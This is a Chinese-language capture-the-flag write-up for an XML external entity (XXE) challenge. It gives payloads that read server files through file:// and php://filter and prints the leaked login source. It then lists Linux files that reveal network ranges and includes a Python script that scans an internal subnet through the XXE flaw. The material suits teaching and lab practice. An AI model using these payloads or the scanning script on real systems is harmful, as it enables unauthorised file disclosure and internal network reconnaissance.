TRY
嘗試XML外部實體注入
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
出現報錯:
Warning: DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
使用絕對路徑回顯code 0,因該是引入成功了但是看不到源碼。
應該是我記錯了,file協議不能用相對路徑,只能用絕對路徑
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>
成功拿到源碼:
<?php
$USERNAME = 'admin';
$PASSWORD = '024b87931a03f738fff6693ce0a78c88';
$result = null;libxml_disable_entity_loader(false);//允許解析外部實體
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
外部實體沒有禁用,但是不知道flag的位置。感覺可以嘗試反彈shell或者注入一句話木馬。
WP
flag在內網上,考點是利用XXE進行內網探測。
/etc/hosts 是一個在類 Unix 系統(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允許用戶手動指定 IP 地址與域名(或主機名)的映射關系,優先級高于 DNS 服務器解析。
讀取結果:
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
127.0.0.1 localhost
發現和題解有所不同,并沒有暴露IP線索。
在 Linux 系統中,以下文件可能包含或暴露 IP 網段相關信息:
- /etc/hosts
存放本地靜態 IP 與主機名的映射關系,可能包含本機或局域網內的 IP 網段信息,例如局域網設備的固定 IP 配置。 - /etc/network/interfaces(Debian/Ubuntu 系統)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系統)
存儲網絡接口的配置信息,包括 IP 地址、子網掩碼、網關等,直接暴露本機所在的 IP 網段。 - /proc/net/fib_trie - 內核維護的路由信息數據結構,包含系統當前所有已知的 IP 網段路由條目,可通過該文件分析系統可達的網絡網段。
4.** /etc/resolv.conf - 存放 DNS 服務器的 IP 地址,這些 DNS 服務器的 IP 可能屬于特定網段,間接暴露網絡環境的 IP 規劃。
5. /var/log/syslog 、 /var/log/messages ** 等系統日志文件
日志中可能記錄網絡連接、服務啟動等信息,包含訪問過的 IP 地址或網段(如 SSH 登錄記錄、服務綁定的 IP 等)。
6.** /proc/net/arp - 存放當前 ARP 緩存表,包含局域網內設備的 IP 與 MAC 地址映射,直接暴露本地局域網的 IP 網段。
7. /etc/netplan/*.yaml**(現代 Ubuntu 系統)
網絡配置文件,包含 IP 地址、子網掩碼、網關等信息,與 interfaces 文件作用類似,暴露本機所在網段。 - /proc/net/tcp 和 /proc/net/udp-記錄當前系統建立的 TCP/UDP 連接信息,包含本地和遠程的 IP 地址及端口,可從中提取涉及的 IP 網段。
這些文件中,網絡配置文件(如 interfaces、netplan)和路由 / 連接信息文件(如 fib_trie、arp、tcp)是暴露 IP 網段最直接的來源。
從/proc/net/fib_trie中得到:
Main:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
看到暴露的一個IP:10.244.166.182
利用bp探測該網段下存活IP,因為沒能設置INTRUDER的響應超時,太慢了。用腳本跑一下:
import requests
from requests.exceptions import Timeout# 目標URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"# 請求頭
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0","Accept": "application/xml, text/xml, */*; q=0.01","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate, br","Content-Type": "application/xml;charset=utf-8","X-Requested-With": "XMLHttpRequest","Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81","Connection": "close","Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/","Priority": "u=0"
}for i in range(1, 255):print(i)# 請求體數據data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'try:# 發送POST請求response = requests.post(url,headers=headers,data=data,verify=False,timeout=1)# 檢查HTTP錯誤狀態碼(4xx, 5xx)response.raise_for_status()# 打印響應結果print("狀態碼:", response.status_code)print("響應內容:", response.text)except Timeout:print("錯誤: 請求超時,服務器未在指定時間內響應")
說明存在內網10.244.166.191
總結
首先是基礎的XML外部實體注入,然后利用該漏洞探測內網。絕大部分情況下expect://協議肯定是不被允許的,所以無法執行系統命令反彈shell。